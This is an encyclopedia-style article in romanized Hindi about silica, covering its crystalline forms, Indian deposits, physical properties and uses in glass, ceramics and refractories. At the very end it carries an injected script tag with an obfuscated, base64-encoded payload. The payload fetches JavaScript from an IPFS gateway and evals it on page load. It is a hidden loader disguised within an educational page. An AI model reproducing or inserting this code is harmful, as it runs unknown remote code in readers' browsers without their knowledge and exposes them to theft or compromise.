सिलिका

silika athava 'silik aaun daeeaauksaid' (Silica, SiO₂) aauksijan aur silikan se yog se bana hota hai. isake khanij agney, jalaj tatha roopaantarit tinoan prakar ki shilaoan mean milate haian, lekin inake arthik nikshep paigametait shilaoan tatha baloo mean milate haian.

roop

silika nimnalikhit khanijoan ke roop mean paya jata hai-

1. 'gupt kristaliy', jaise- chalsidani, aiget aur phliant
2. 'kristaliy', jaise- kvartj
3. 'akristali', jaise- opal

prapti sthan

silika ke khanij agney, jalaj tatha roopaantarit tinoan prakar ki shilaoan mean milate haian, lekin inake arthik nikshep paigametait shilaoan mean, nasoan tatha dhariyoan mean aur baloo mean milate haian. bharat mean madhy pradesh ke jabalapur mean shuddh baloo milata hai. gaya ke rajagiri paha diyoan, muanger ki kharakapur paha diyoan, patana ke bihar sharif, u disa ke sanbalapur tatha bagara ke kuchh bhag mean taparodhi karyoan ke lie utkrisht koti ka 'sphatikashm' prapt hota hai.

gun

silika shadbhujiy pranali ka kristal banata hai. sadharanat: yah rangahin hota hai, lekin apadravyoan ke vidyaman hone par yah bhinn-bhinn rangoan mean milata hai. isaki chamak kaanchabh tatha toot shankhabh hoti hai. yah kaanch ko khurach sakata hai. silika varg ke any khanijoan ke gun bhi kvartj se milate-julate haian.

upayog

silika ka upayog bhinn-bhinn roopoan mean hota hai. baloo mean vidyaman chhote-chhote kan kaanch tatha dhatvik udyogoan, visheshat: bhatthiyoan ke nirman mean kam ate haian. siremik samanoan ke nirman mean silika kam ata hai. taparodhi eeantean isase banati haian. tap parivartan ko yah saralata se poorak ke roop mean sahan kar leta hai. yah khanij, rang tatha kagaz udyog mean kam ata hai. shuddh, rangahin, kvartj kristal se prakash yantr tatha rasayanik upakaran banae jate haian. silika se bani baloo shilaean makan banane ke pattharoan ke roop mean prayog ki jati haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>